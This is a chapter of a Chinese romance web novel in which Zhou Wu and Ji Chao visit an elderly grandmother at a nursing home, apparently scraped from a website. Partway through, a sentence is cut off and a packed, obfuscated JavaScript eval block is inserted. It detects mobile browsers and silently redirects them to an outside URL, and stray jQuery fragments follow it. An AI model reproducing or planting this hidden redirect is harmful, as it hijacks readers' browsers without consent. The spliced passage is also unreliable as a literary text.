凛冽北风从四面八方席卷而来，来回刮着钟灵慧眼周皮肤，一双黑眸愈发水润，楚楚可怜。
“所以，你以后不来学校了吗？”
周雾唇角浮起笑意：“舍不得我？”
“当然了。”钟灵慧扁一扁嘴，委屈溢于言表，鼻尖冻得轻微发红，看起来好像快哭：“要是每天看不见你来上课，我都没动力学习了。”
周雾纠正她：“我没有每天都来上课。”
“……”钟灵慧郁结，忿忿地瞥她一眼，嘟着嘴咬住透明吸管，霜打茄子似的闷声：“我会想你的嘛。”
“那就考来南城吧。”周雾顺手结账，体贴照顾小女生的情绪：“到时候，我亲自开车接你。”
钟灵慧唔了声，不由得神往，胆子大了些，同她开玩笑：“保时捷还是劳斯莱斯？”这是她所熟悉的两个贵价车。
“都行啊。”周雾轻笑：“到我家地库来，随便你挑。”
告别钟灵慧，周雾拎着一个印着HelloKitty的礼品袋上车，程伯调整后视镜，含笑目光从礼品袋掠过：“适合小姐。”
周雾面无表情地看回去。
程伯又笑，给油倒车，驶离三中。
钟灵慧把她的个人物品收拾妥当，临走前不忘叮嘱她要好好检查、看是否有遗漏。
作为代保管的礼物，周雾将一支玻璃笔送给她。
流光溢彩的莹蓝色，笔身仿佛凝固了一片平静深邃的海，在灰白天光下动人流转。
钟灵慧爱不释手，指尖触摸到冰凉光滑的玻璃质感，珍重地握在手心里翻来覆去地看。
这辈子从未收过如此精致又贵重的礼物，只觉得鼻腔酸楚更重，一时间连道谢也忘了说。
周雾向来不介意这些，伸手，摸了摸女孩被风吹得发红的脸颊，停在身后的车门静谧无声地滑开，她笑一笑，温声说再见。
程伯如今将常去的两个地方熟记，一个是罗马街，一个是养老院。
红灯长余几十秒，程伯看着前方畅通无阻的路况，忽地起了话：“那支笔，恍惚记得是小姐旧物。”
“早些年爷爷从佳士得拍下的珍品，我用不上，放着也是浪费。”
周雾不以为意，纤秀手指挽起耳廓碎发，白皙耳骨撑着乖戾骨钉，她皮肤雪白，黑色又邪性。
然后支起中控台的化妆镜，仔细把骨钉拆了，不叫姜奶奶看见。
“小慧是个实性子的小姑娘。”
程伯打转方向，罗马街的单行道只进不出，他把车泊在巷口，隔着雾蒙蒙的天光，纪潮身形介于少年与青年的孤孑清瘦，他静静站在叶子掉光的老槐树底下，脊背挺直峭然。
说来也怪。
分明是南辕北辙、云泥之别的两个人，可身处眼前破败落后的街景，他身上却有一种天然隔绝混乱灰暗的气质。
程伯降下车窗，和他打招呼。
纪潮从另一面上车，避免冷风纠缠地钻入温暖车厢。
周雾从全英邮件里抬起视线，尽管他十足小心，还是感受到一小股凉意。
等他关上门后，周雾伸手捏了捏他冰凉指尖，她手指很暖，话语也像镀了一层光的玻璃，变得毛绒绒：“等很久了？”
“没有。”
纪潮回握她的手，片刻眼尾睨到什么，捏住一根粘在袖口的猫毛，乌黑修长的眉宇轻拧：“抱歉，我出门前已经很仔细地粘过猫毛……”
周雾笑笑，随意靠着椅背，平板搁到身侧，先说没关系，再让他把车内温度调高。
独处时，她身上偶尔会露出一两点依赖的娇气，用那把天然清冷但格外动听的嗓音指挥他。
“今天去哪？”
“看我奶奶。”
纪潮轻怔。
周雾微一挑眉，飞驰驶过一片阳光，正好照着她小半张脸，皮肤细腻柔软，透着光：“意外吗？之前已经答应过我了。”
“我不是要反悔的意思。”纪潮垂眼，看向两手空空的自己，骨节分明的手指无意识地蜷了下：“我应该买点水果……”
他的懊悔自责浮上清隽眉眼，周雾又笑，反手把一沓教材塞到他怀里，直视少年错愕不解的目光，笑音悦耳，藏着小钩子似的狡黠：“我会监督你做完，奶奶肯定乐意陪我。”
三两句话打发车程，程伯转着方向盘，一把倒进停车位。
养老院今天没有访客，人员寥寥。
拐过深秋时节照样开得姹紫嫣红的小花园，周雾刚进长廊，迎面走出两个面容秀气的女孩子。
小曲和小王一个拎水桶，一个拧拖把，一见周雾，笑容先堆到脸上。
“周小姐来啦。”
周雾扫过她们手里的清洁工具，迟疑：“我给你们开的工资，似乎没有打扫这一项。”
小王露出一口白牙，朗声：“今天奶奶难得有些兴致，说要辞旧迎新——新年也快了嘛。让别人动手，不如咱们亲自来，多有乐趣。”
纪潮把教材放到玄关，手指卷起袖口：“我来。”
周雾一言不发扣住他手腕，拉着人进了长廊。
整个养老院专为姜奶奶服务，前段时间赵院长委婉询问她，是否要正常营业，周雾说只要重心不错，一切任由赵院长安排。
赵院长点头，说刚好有一老太太想转院过来。
她同姜奶奶年纪相仿，听说是儿女不作为，不愿意为老人养老送终，老太太倒很硬气，雷厉风行地请律师公证遗嘱，带上自己轻便简洁的行李袋，回到家乡。
正说着话，周雾推开门。
这是整个养老院里阳光最为充沛的地段。罕见的、如同琥珀色的温润光线似蜜浆，从整面落地窗洋洋洒洒地流淌进来。
两位老太太靠着藤椅，腿部盖着保暖的羊绒毯，亲热地话家常。
“奶奶。”周雾笑声清脆：“是不是我来得不巧呀？打扰你们说话。”
姜奶奶停下话茬，笑意如眼角皱纹一丝丝地抽开：“小雾来啦。不打扰，想你呢，快来坐。”
另一位老人放下手中钩织毛线的长针，手指扶了下老花镜，眯起眼，仔仔细细地打量：“这是你孙女儿？好相貌。”
周雾轻步到姜奶奶身旁，自然应话：“徐奶奶你好，我叫周雾，您喊我小雾就好。”
“小雾你好。”徐奶奶点头。
她是高知分子，从教几十年见了不少世面与权贵，打眼便惊觉这小姑娘气韵不凡，不是寻常人家能养出来的女儿。她天生自带一种水晶似的精细与剔透，模样更是万分标志，尤其一双浅瞳杏眼，逢人便笑，讨喜乖巧，让人看了心头发软。
徐奶奶对她心生爱怜，语气里难掩喜欢和亲切：“周是大姓，你是哪个字？”
“雾失楼台，月迷津渡。”她温声答道：“是这个雾。”
“哟……”徐奶奶意外，轻声感慨：“这个字可不太好啊。太轻了，抓不住。你父母怎么会想给你取这个字？”
“我出生在一个寒冷的冬夜，抬头时，满目只见白色的雾。”周雾笑笑：“所以，我的名字，没什么特别的缘由。”
“说到这儿，”她顿一顿，忽然瞥开视线，看向一直站在门口没进来的人，单手撑脸，软软地笑：“他叫纪潮。潮水的潮。您看，我们两，听着是不是都冷冰冰，不够温暖美好。”
不像庄澄。
都是与水有关的字眼，他澄澈、干净，而不像雾，朦胧不定，潮也危险汹涌。
徐奶奶不兴听这些丧气话，故意沉了脸色，修得细细的柳叶眉上扬：“小姑娘可不能这样说话。雾生于水，潮涌于岸。一个是至清至净的雾气，一个是潮润万物的潮水，轻盈、自由、包容、信期，都有好意象。拆开来不够好，搭配起来得天独厚。”
周雾莞尔，眼中漾开真实的笑：“谢谢奶奶。”然后弯着手指招了两下纪潮，极尽亲昵：“别杵在门口。”
纪潮这才动了脚步，从门口相对黯淡的光线里，走进满室灿然的阳光。
他修长咽喉轻咽，音量不高，但很诚恳：“您好，我是纪潮。”
姜蝶奶奶对他的名留有模糊印象，迟疑数秒，不大确定地问：“你是……小蝴蝶的同学？”
“嗯。”他点头，半蹲在老人面前，线条流畅的脊背将略显宽松的卫衣撑出好看利落的形状，像一棵青松倾身：“您对我还有印象吗？”
年纪大了，加之阿兹海默症对记忆的侵蚀，她零零碎碎地想起一些片段。
雨夜，一束路灯，黑色折叠伞，以及回到家中，浑身湿透、失魂落魄的姜蝶。
奶奶心疼地拿毛巾替她擦干头发和肩前雨水，忙问：“刚刚门口有人，是谁送你回来？”
姜蝶低着头，小小声地应了句嗯。
她麻木地揉着发尾，咸涩水珠滴在陈旧但干净的地板上。沉默片刻，她抬起湿漉漉的眼，对满面担忧的老人说：“是我同学。很善心的一个男孩子。”
想起来了。
记忆如潮水褪去，姜奶奶苍老双眼翻开和蔼慈祥的笑，伸出双手，皮肤布满褶皱但干燥温暖，扶着纪潮手臂。
“当时没机会谢谢你呢。”姜奶奶说：“谢谢你送她回家。”
纪潮点头，他向来沉默寡言，面对老人依稀闪烁疼惜的双眼，竭尽全力头脑风暴，说了不少姜蝶在校时的趣事——其实大多平淡无奇，他和姜蝶的交集不过点头，能说的事情，无非是她学习很好、很受老师喜欢。
但姜奶奶听得认真，时不时点头。
在他低沉缓和的声线里，周雾想起纤细单薄的少女身影，在彼此的话语中面目逐渐清晰。
徐奶奶听了个囫囵，有些明白过来，看看周雾，又看看纪潮，轻声问：“你还有另一个孙女吗？”
空气有一秒钟的凝固，周雾温声续上：“嗯。她不在了。”
徐奶奶微惊，脸上立刻浮现歉意：“这……对不起，我不知道。”
“没关系。”周雾摇摇头，眼底仍有清莹的笑，可阳光照着，错眼又像泪光：“一切都过去了。”
她自然而然地起了别的话题，将伤痛一笔带过。
大平层的落地窗热热闹闹地接收慷慨的阳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108569|193367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光，晌午过后，铅灰色的云层薄了些，天气更好。
小曲推开窗户，风里虽有潮湿水汽，但更多是植物花卉的清新，拂面而来不觉寒冷。
两个女孩自告奋勇要剪窗花，徐奶奶眼睛一亮，说自己是剪窗花的一把好手，三人凑着一张楠木矮桌，脑袋挨着脑袋，红纸金粉摊了一桌，讨论什么花样子喜庆好看。
周雾坐在藤椅一侧，并腿斜侧，坐姿矜贵优雅，膝盖搭着一本敞开的书，纸页边缘已经泛黄，看得出多年翻阅。
她并没有认真看，目光虚虚地落在某个字句上，阳光明亮地铺洒在她发顶、肩头，给柔软发丝和纤长睫毛镀上了一层淡金色的茸边，然后手指又翻一页，温软如水的嗓音将故事娓娓道来。
姜奶奶听笑了：“不是这个结尾吧，小雾。”
周雾合上书，撒娇：“我不喜欢之前的版本。这样不好吗？她自由了，我不喜欢她为了感情回头。”
姜奶奶忍俊不禁，揉一下她莹润白皙的脸蛋，说：“他一喊她的名字，她就回头了嘛。”
纪潮收回目光，心底思绪万千。
赵院长拢着棋篓子，不远处的程伯支起桌椅，叶姨帮忙张开一面桌布，两人捏着四角，上下一振，兜走树梢下饱涨的香风。
“会下棋吗？”赵院长笑眯眯地问。
周雾抬起脸，浅金光线潋滟地洒在她笑弯了的眼睫，少女浅瞳流转，笑音泠泠，带着熟稔的打趣：“您快饶了他吧。”
纪潮叠起袖口的手腕压着试卷笔记本，转着笔的手背青筋时隐时现。
平板播放的课件被他按下暂停，只戴了一边的白色无线耳机摘下，眼神还没从题海中抽离，几分茫然。
“会下的话来两局。”赵院长笑说：“学习也要践行劳逸结合。”
周雾索性合上书：“我和您下呢？”
赵院长立即敬谢不敏：“可赢不了你。”
叶姨也招呼：“小姐，外边太阳好。让小曲小王把老人推出来晒晒太阳吧？屋里总归感受不到温度。”
她一边说，一边变戏法掏出一个银光锃亮的保温桶：“我熬了小吊梨汤。昨晚听见小姐隐有两声咳嗽，先预防着。”
小王捏着碗，眼巴巴地问：“叶姨，我也有份吗？”
“当然！”叶姨爽朗：“见者有份。但我们小姐得多一些，你们都懂，我最偏心我家小姐。”
深秋初冬的交错季节，小院像与世隔绝的桃花源，酝酿超越时间、花团锦簇的温暖。
台风过后，周雾着意让人加固庭院吊顶。此刻，玻璃天顶滚着树梢滴落的透明水珠，阳光下折射出小小的、转瞬即逝的炫目虹光。
纪潮和赵院长博弈，大家小赌怡情，输家要负责今晚的一道菜。
赵院长棋风老练凶猛，落子如飞，一开始便没打算谦让小朋友，程伯全程端详，难免叫屈：“老赵太狠。”
“是我技不如人。”纪潮语气坦然：“程伯您来？”
程伯大笑，跃跃欲试：“看我杀杀他的锐气。”
叶姨让小曲搭把手，帮忙给小院里的花花草草浇水，谁知赵院长百忙之中从棋盘里抬头，一面严防死守地盯着程伯棋路，一面还能耳听八方：“我早上刚浇过！蟹爪兰娇气，水多了烂根。”
徐奶奶手把手教姜奶奶怎么折纸、怎么裁剪，老人眯着眼，手有些抖，透过格子镂空看向周雾。
她扶着秋千，双脚点地，秋千轻荡，裙摆和发梢水波般荡开。
“小雾。”姜奶奶唤她：“要剪什么？奶奶给你剪一个。”
她歪头想了想，乖巧地笑：“蝴蝶吧，要飞的很高的蝴蝶。”
然后，一只蝴蝶落在她心口。
那枚淡粉色刺青的上方。
“雾雾。”
她微怔，卷曲长睫惑然一颤，循着冷白指骨回头。
那是一只相当粗糙的蝴蝶，唯一的可取之处，是他用银色亮膜贴纸，糊住了蝴蝶扇动的翅膀。
风再度来临，吹过新生花骨朵饱满的枝头、吹过小曲小王年轻活泼的容颜，吹过叶姨抿得齐整的盘发，玉钗坠下的玲珑流苏。
吹过赵院长冥思苦想的眼角皱纹，吹过程伯胜券在握的得志笑容，吹过徐奶奶雪白的额发，吹过姜奶奶的脸，她剪出几个连体小人，得到小曲小王热情的盛赞。
风继续吹，吹过层层叠叠的少女裙摆，她仰起脸，漏下枝叶罅隙的微光在她脸上荡漾，蝴蝶翅膀在指间颤动，笨拙地闪着光。
纪潮微垂着眼，逆着光的缘故，眼睫密长，瞳孔润黑，他抿了下干燥的唇，喉结滑动，耳根通红。
“这样，不会飞走了。”
话音落下的瞬间，周雾感到一种久违的、近乎陌生的安定。内心深处的花园废墟终于有了重建的力量。
阳光、微风，小吊梨汤的甜香，清脆笃定的落子声，裁纸刀沙沙作响，老人和女孩交错的交谈……所有嘈杂但鲜活的细节温暖地包裹了她。
她接过蝴蝶，托在手心，让它迎着风的方向。
“嗯。不飞走了。”